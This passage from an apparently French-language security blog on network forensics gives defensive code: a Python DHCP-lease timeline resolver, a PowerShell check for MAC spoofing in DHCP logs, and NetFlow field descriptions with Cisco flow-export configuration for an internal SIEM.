13%, 16%)">,</span><span class="token plain"> end_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mac </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip_address</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> start_ts </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> query_time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> end_ts </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">is</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token plain"> query_time </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> end_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'lease_start'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'lease_end'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> end_ts</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Exemple d'utilisation pendant l'IR :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> __name__ </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'__main__'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DHCP_LOG_DIR </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">r'C:\Windows\System32\dhcp'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"[*] Analyse des journaux DHCP..."</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    events </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> parse_dhcp_logs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">DHCP_LOG_DIR</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[*] Analysé </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">events</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> événements DHCP"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ip_timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> build_ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[*] Chronologie construite pour </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">ip_timeline</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> adresses IP uniques"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Exemple : résoudre une IP vue dans NetFlow à un moment précis</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    investigation_ip </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'10.10.5.42'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    investigation_time </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token number" style="color:hsl(212, 92%, 35%)">2025</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">11</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">15</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">2</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">47</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">33</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Depuis le journal DNS/NetFlow</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    result </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> resolve_ip_at_time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> investigation_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> investigation_time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> result</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"\n[+] À </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">investigation_time</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">, </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">investigation_ip</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> était détenu par :"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"    Nom d'hôte : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">result</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"    MAC :        </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">result</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"    Bail :       </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">result</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'lease_start'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> → </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">result</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'lease_end'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation"> </span><span class="token string-interpolation interpolation keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token string-interpolation interpolation"> </span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'Actif'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[-] Aucun enregistrement DHCP pour </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">investigation_ip</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> à </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">investigation_time</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"    Possible : IP statique, appareil non autorisé, ou journaux DHCP antérieurs à l'événement"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="34-détecter-les-appareils-non-autorisés-et-lusurpation-mac-dans-les-journaux-dhcp">3.4 Détecter les Appareils Non Autorisés et l'Usurpation MAC dans les Journaux DHCP<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#34-d%C3%A9tecter-les-appareils-non-autoris%C3%A9s-et-lusurpation-mac-dans-les-journaux-dhcp" class="hash-link" aria-label="Direct link to 3.4 Détecter les Appareils Non Autorisés et l'Usurpation MAC dans les Journaux DHCP" title="Direct link to 3.4 Détecter les Appareils Non Autorisés et l'Usurpation MAC dans les Journaux DHCP" translate="no">​</a></h3>
<p>Une technique courante des attaquants consiste à amener un appareil non autorisé sur le réseau ou à usurper une adresse MAC. Les journaux DHCP exposent les deux :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Détecter les adresses MAC vues avec plusieurs noms d'hôtes différents (réutilisation MAC ou usurpation)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$dhcpLogDir = "C:\Windows\System32\dhcp"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$assignEvents = @()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-ChildItem "$dhcpLogDir\DhcpSrvLog-*.log" | ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Get-Content $_.FullName | Where-Object { $_ -match '^10,' } |  # ID événement 10 = Assign</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $parts = $_ -split ','</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        if ($parts.Count -ge 7 -and $parts[6] -ne '') {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $assignEvents += [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Timestamp  = "$($parts[1]) $($parts[2])"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                IP         = $parts[4]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Hostname   = $parts[5]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                MAC        = $parts[6]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># MAC avec plusieurs noms d'hôtes = suspect</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$assignEvents |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Group-Object MAC |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Where-Object { ($_.Group.Hostname | Sort-Object -Unique).Count -gt 1 } |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $hostnames = ($_.Group.Hostname | Sort-Object -Unique) -join ', '</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Warning "MAC $($_.Name) vue avec plusieurs noms d'hôtes : $hostnames"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $_.Group | Sort-Object Timestamp | Select-Object Timestamp, IP, Hostname, MAC |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Format-Table -AutoSize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-4--analyse-netflow--lire-le-trafic-est-ouest-sans-sonde">Partie 4  Analyse NetFlow : Lire le Trafic Est-Ouest Sans Sonde<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-4--analyse-netflow--lire-le-trafic-est-ouest-sans-sonde" class="hash-link" aria-label="Direct link to Partie 4  Analyse NetFlow : Lire le Trafic Est-Ouest Sans Sonde" title="Direct link to Partie 4  Analyse NetFlow : Lire le Trafic Est-Ouest Sans Sonde" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="41-ce-que-contiennent-les-enregistrements-netflow">4.1 Ce que Contiennent les Enregistrements NetFlow<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#41-ce-que-contiennent-les-enregistrements-netflow" class="hash-link" aria-label="Direct link to 4.1 Ce que Contiennent les Enregistrements NetFlow" title="Direct link to 4.1 Ce que Contiennent les Enregistrements NetFlow" translate="no">​</a></h3>
<p>NetFlow (le protocole original de Cisco) et ses successeurs IPFIX et sFlow enregistrent les <strong>métadonnées de connexion</strong>  pas le contenu des paquets. Pour chaque flux réseau (défini comme des paquets partageant le même 5-tuple : IP source, IP destination, port source, port destination, protocole), NetFlow enregistre :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Champs d'enregistrement NetFlow v9 / IPFIX :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Champ               Type      Valeur Forensique</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">src_addr            IPv4/6    Adresse IP source</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">dst_addr            IPv4/6    Adresse IP destination</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">src_port            uint16    Port source (éphémère pour les clients)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">dst_port            uint16    Port destination (identifiant de service)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">protocol            uint8     6=TCP, 17=UDP, 1=ICMP</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">flow_start          datetime  Début du flux</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">flow_end            datetime  Fin du flux</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">in_bytes            uint64    Octets de src vers dst</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">out_bytes           uint64    Octets de dst vers src (flux bidirectionnels)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">tcp_flags           uint8     Combinaisons SYN, ACK, RST, FIN</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">input_snmp          uint32    Index interface routeur (entrée)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">output_snmp         uint32    Index interface routeur (sortie)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">──────────────────────────────────────────────────────────────────</span><br></span></code></pre></div></div>
<p>Ce que NetFlow ne contient PAS : charge utile des paquets, contenu requête/réponse, détails d'authentification ou noms de processus. Il indique qu'une connexion a eu lieu, quand, pendant combien de temps, et combien de données ont transité. Combiné aux journaux DHCP et d'authentification, c'est suffisant pour reconstruire le mouvement latéral.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="42-activer-netflow-sur-les-plateformes-courantes">4.2 Activer NetFlow sur les Plateformes Courantes<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#42-activer-netflow-sur-les-plateformes-courantes" class="hash-link" aria-label="Direct link to 4.2 Activer NetFlow sur les Plateformes Courantes" title="Direct link to 4.2 Activer NetFlow sur les Plateformes Courantes" translate="no">​</a></h3>
<p>Si NetFlow n'est pas déjà configuré, l'activer de manière rétroactive vous donne une couverture future. Il ne récupère pas les données historiques.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Cisco IOS  activer NetFlow sur les interfaces du commutateur interne</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ip flow-export destination 10.10.1.100 9995    ! IP et port du SIEM / collecteur de flux</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ip flow-export version 9</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ip flow-export source GigabitEthernet0/0</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">interface GigabitEthernet0/1                   ! Répéter pour chaque interface interne</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"> ip flow ingress</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"> ip flow egress</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">! Vérifier :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">show ip flow export</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">show ip cache flow</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Cisco NX-OS (commutateurs datacenter) :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">feature netflow</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">flow record SECURITY-RECORD</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  match ipv4 source address</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  match ipv4 destination address</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  match transport source-port</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  match transport destination-port</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  match ip protocol</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  collect counter bytes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  collect counter packets</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  collect transport tcp flags</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  collect timestamp sys-uptime first</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  collect timestamp sys-uptime last</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">flow exporter SIEM-EXPORT</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  destination 10.10.1.100</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  transport udp 9995</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  version 9</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">flow monitor 